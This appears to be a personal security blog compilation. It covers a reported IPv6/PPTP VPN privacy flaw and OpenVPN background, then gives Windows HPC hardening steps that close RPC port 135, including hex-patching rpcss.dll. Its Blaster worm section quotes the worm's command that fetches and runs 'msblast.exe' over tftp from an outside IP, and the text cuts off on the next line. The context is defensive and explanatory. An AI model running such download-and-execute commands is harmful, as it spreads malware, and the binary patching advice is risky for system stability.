Huge privacy flaw in VPN systems

Huge privacy flaw in VPN systems

Since the slow introduction of internet monitoring systems around the world began, more and more people have attempted to preserve their privacy by signing up for VPN services like the Pirate Bay’s Ipredator and Pirate Party offering Relakks. But it turns out that there’s a gaping security flaw in these services that allows individual users to be identified.

The finding was announced at the Cipher conference in Sweden. The flaw is caused by a combination of IPv6, which is a new internet protocol due to replace the current IPv4, and PPTP (point-to-point tunneling protocol)-based VPN services, which are the most widely used. IPv6 is enabled on many computers, and you may well be using it without realizing.

The flaw means that the IP address of a user hiding behind a VPN can still be found, thanks to their connection broadcasting information that can be used to identify them. It’s also relatively easy to find a MAC address (which identifies a particular device) and a computer’s name on the network that it’s on.

It’s possible to re-hide yourself by switching IPv6 off and going back to IPv4, but that does mean losing the benefits that it offers. It’s most dangerous because many users aren’t aware of the issue, so it’s likely that administrators of VPN networks may end up having to warn their users, and offer instructions on how to turn off IPv6. It’s thought that the Swedish anti-piracy bureau could already be gathering data using the exploit.

One alternative to PPTP is OpenVPN and offers a number of advantages, especially as it’s free and open-source. It’s more secure than PPTP, and more stable too, though it doesn’t work on mobile devices natively and isn’t quite as easy to set up on a computer, especially older machines. OpenVPN also has the advantage that it’s often not blocked in countries where PPTP systems are blocked.

Of course, if you’re thinking of using a VPN, remember that you’re essentially giving a third party company access to all of your private information, rather than a government. At the end of the day, that could be a far larger security hole than anything else, so be careful who you trust with your data.

Read More http://www.wired.co.uk/news/archive/2010-06/18/huge-privacy-flaw-found-in-vpn-systems?page=all

Fixed: HIGH Vulnerability in C library dynamic linker (CVE-2010-3847)

Open VPN for SMB Share on Windows HPC

Background: (from Beginners openvpn book)

Layer 2 and Layer 3 VPN: OpenVPN offers two basic modes, which run either as Layer 2 or Layer 3 VPN. Thus, OpenVPN tunnels on Layer 2 can also transport Ethernet frames, IPX packets, and Windows Network Browsing packets (NETBIOS), all of which are problems in most other VPN solutions.

Only one port in the firewall must be opened to allow incoming  connections: Since OpenVPN 2.0, the special server mode allows multiple incoming connections on the same TCP or UDP port, while still using different configurations for every single connection.

Choosing the TUN/TAP devices as a networking model immediately offered a flexibility that other VPN solutions could not offer. While other SSL/TLS-based VPN solutions needed a browser to establish connections, OpenVPN would prepare almost real (but still virtual) network devices, on which almost all networking activities can be carried out.

A TUN device can be used like a virtual point-to-point interface, like a modem or DSL link. This is called routed mode because routes are set up to the VPN partner.

However, a TAP device can be used like a virtual Ethernet adapter. This enables the daemon listening on the interface to capture Ethernet frames, which is not possible with TUN devices. This mode is called bridging mode because the networks are connected as if over a hardware bridge. Applications can read/write to this interface. Software (the tunnel driver) will take all the data and use the cryptographic libraries of SSL/TLS to encrypt them. The data is packaged and sent to the other end of the tunnel. This packaging is done with standardized UDP or optional TCP packets. UDP should be the first choice, but TCP can be helpful in some cases. You are almost completely free to choose the configuration parameters such as protocol or port numbers, as long as both tunnel ends agree on the same figures.

from wikipedia;

TAP (as in network tap) simulates an Ethernet device and it operates with layer 2 packets such as Ethernet frames. TUN (as in network TUNnel) simulates a network layer device and it operates with layer 3 packets such as IP packets. TAP is used to create a network bridge, while TUN is used with routing.

Securing, Monitoring Virtualization environments

Yes we need to fully use the hardware, one way is to divide into pieaces and eat them all . That is what means Virtualization.

In start you had one host machine , which means you have take care of their updates, logs, services etc. But if you launch 10 more Virtual machines on it , now you have to manage x10 times more . Plus the communication between hosts and vms.

This is quite tricky.. Several vendors have solutions for it , specifically as Cloud is in RAW term , virtualization magic . More management platform will pop up in future.

/Zeeshan

Filesharing on MSHPC

Hi,

If you are running MSHPC (Microsoft HPC Cluster) and want to share folder with your users, you end up using SMB , Right ?  But This is not secure and have several vulnerabilities as mentioned here http://isc.sans.org/diary.html?storyid=7210 .

So what is the solution , For example in my case i have the issue to share folder with Matlab users .

Keep asking to Matlab and Microsoft team , the solutions got so far are

1) Use AFS

2) Use VPN .

I will try to use VPN now and will share my experience.

Some trail of my search so far on this issue:

Part-1 Securing MSHPC (Microsoft HPC Server)

There is not silver bullte in Security i..e we have to do lot of steps in order to proper managing the risks. I started with checking the open ports and closing it one by one.

In this Part-1 i will close the RPC port 135 as below .

MS RPC, port 135, DCOM buffer overrun and the Blaster worm

Microsoft’s RPC implementation runs over TCP port 135.
RPC is used by a number of higher level protocols for their transport layer, such as by DCOM.
Vulnerabilities have been found in Microsoft’s RPC implementation and the services it gives access to.

Closing TCP port 135

It is highly desirable to close port 135 and to allow KFSensor to listen to it. Port 135 is consistently on of the most attacked ports on the Internet.

It is not possible to simply disable the RPC service as there are many essential parts of Windows that require RPC to be running even though they do not make network connections.

However Microsoft does not allow RPC to configured to a different port and by default it is bound to all network interfaces making it vulnerable to attack from the Internet.

The following sections describe how to disable services that run on top of RPC, which is desirable in itself, and then to close port 135 itself.

Disable RPC dependent services

Several non-essential services use RPC and these should be disabled.
Shutdown and disable the following services in the services console.
SSDP Discovery Service
Windows Time
Messenger
Remote Registry
System Event Notification
Remote Desktop Help Session Manager
Distributed Transaction Coordinator
Task Scheduler service
COM+ Event System
COM+ System Application

Disable DCOM

Windows DCOM allows applications to share COM functionality over a TCP/IP network. Only a few applications have ever used DCOM and it is due to be phased out by Microsoft. This functionality is turned on by default and uses RPC.

  1. Run “Dcomcnfg.exe” from the Start menu “Run.” item.
  2. Select the following: Component Services -> Computers -> My Computer
  3. Right Click and select the Properties menu item
  4. Select the Default Properties tab
    Uncheck “Enable Distributed COM on this computer” option.
  5. Select the Default Protocols tab
    Remove “Connection-oriented TCP/IP” from the list of DCOM protocols.

It is also possible do the same directly by editing the registry.

  1. Run “regedt32.exe” from the Start menu “Run.” item.
  2. Select the key “HKEY_LOCAL_MACHINESOFTWAREMicrosoftOle”
    Set the value “EnableDCOM” to “N”.
  3. Select the key “HKEY_LOCAL_MACHINESOFTWAREMicrosoftRpc”
    Edit the value “DCOM Protocols”. This may contain a number of strings.
    Delete the string “ncacn_ip_tcp”

Configure RPC

It is possible to reconfigure MS RPC to make it safer using a Microsoft configuration tool rpccfg.

To obtain this tool go to www.microsoft.com and enter rpccfg into their site search and download it from the link.

The idea is to get RPC to only bind to the loopback address.

  1. From the DOS command prompt type: rpccfg -l
  2. This will list the available interfaces. Make a note of the number next to the subnet 127.0.0.0, which will probably 1.
  3. Now type: rpccfg -a 1 (or the number you noted before).
  4. Now type: rpccfg -q and only the loopback address should be listed.

To complete the configuration the following setting needs to be added to the Registry:

  1. Run “regedt32.exe” from the Start menu “Run.” item.
  2. Select the key “HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesRpcSs”
    Add the string value “ListenOnInternet” and set it to “N”.

After performing the above re-boot the machine.

If all the RPC using services have been closed down then port 135 should now be closed and KFSensor will be able to use it.
If port 135 is still bound by RPC then at least one RPC using service is still running.
Either close down the remaining RPC using services, or if they cannot be shut down then there is the option of patching the RPC server.

Patching the RPC server

Microsoft RPC cannot be configured not to listen on a different port to 135.
Instead it is necessary to patch the system to force it not to use the port.
Patching an OS is strictly for advanced users.

The server needs to be patched using a hex editor.
If you do not have a hex editor, use 010 Editor which you can get from this address:
http://www.sweetscape.com/010editor/

The RPC server is implemented in a file called rpcss.dll, however this file is in constant use.
So you will first have to disable it, re-boot, patch it, re-enable it and reboot again.

  1. Make a copy of the file rpcss.dll, as a backup.
    Copy the file from windowssystem32rpcss.dll into one of your own directories, using Windows Explorer.
  2. From the Start menu select Run.
  3. Enter “regedt32” and click on OK.
  4. Expand the tree and select the key:
    HKLMSystemCurrentControlSetServicesRpcSs
  5. Rename the value “ImagePath” to “xImagePath”
  6. Exit regedt32 and re-boot the machine. The machine may take longer than normal to start up and some functionality will no longer be available. The Start bar may longer be visible to it is a good idea to have a short cut to a DOS BOX on the desktop. This will be re-enabled later.
  7. Run your hex editor and open the file “from windowssystem32rpcss.dll”
  8. Search for the byte sequence “31 00 33 00 35” or the Unicode text “135”.
  9. Over-write this byte sequence to “30 00 30 00 30”.
    This changes the port from 135 to 000, which DCOM will not be able to open.
  10. Save the file in the hex editor.
  11. From the Start menu select Run.
  12. Enter “regedt32” and click on OK.
  13. Expand the tree and select the key:
    HKLMSystemCurrentControlSetServices RpcSs
  14. Rename the value “xImagePath” to “ImagePath”
  15. Exit regedt32 and re-boot the machine.
  16. The DCOM server should no longer bind to port 135 and KFSensor should be listening to this port.

Blaster background

On the 16 July 2003 Microsoft released a patch to fix a buffer overrun in its Windows Distributed Component Object Model (DCOM) Remote Procedure Call (RPC) interface.
http://support.microsoft.com/default.aspx?scid=kb;en-us;823980

On the 11 August 2003 a new worm (‘Blaster’) was detected which exploited this vulnerability and rapidly infected large numbers of unpatched machines.
http://www.microsoft.com/security/incident/blast.asp

The Blaster worm attacks a Windows machine by first executing a buffer overrun at port 135 TCP. This causes a vulnerable machine to listen to port 4444 TCP and execute the following command “tftp -i 81.128.17.117 GET msblast.exe”. This downloads the worm from the attacking machine. msblast.exe is then executed and the process continues.

You can find a full description of the Blaster worm here:
http://www.sarc.com/avcenter/venc/data/w32.blaster.worm.html

Blaster events

If attacked by the Blaster worm you will see the following two events in quick succession.

1. Port 135

Received 1776 bytes containing the binary buffer overrun.

2. Port 4444

Containing the following text:
tftp -i 81.128.81.118 GET msblast.exe
start msblast.e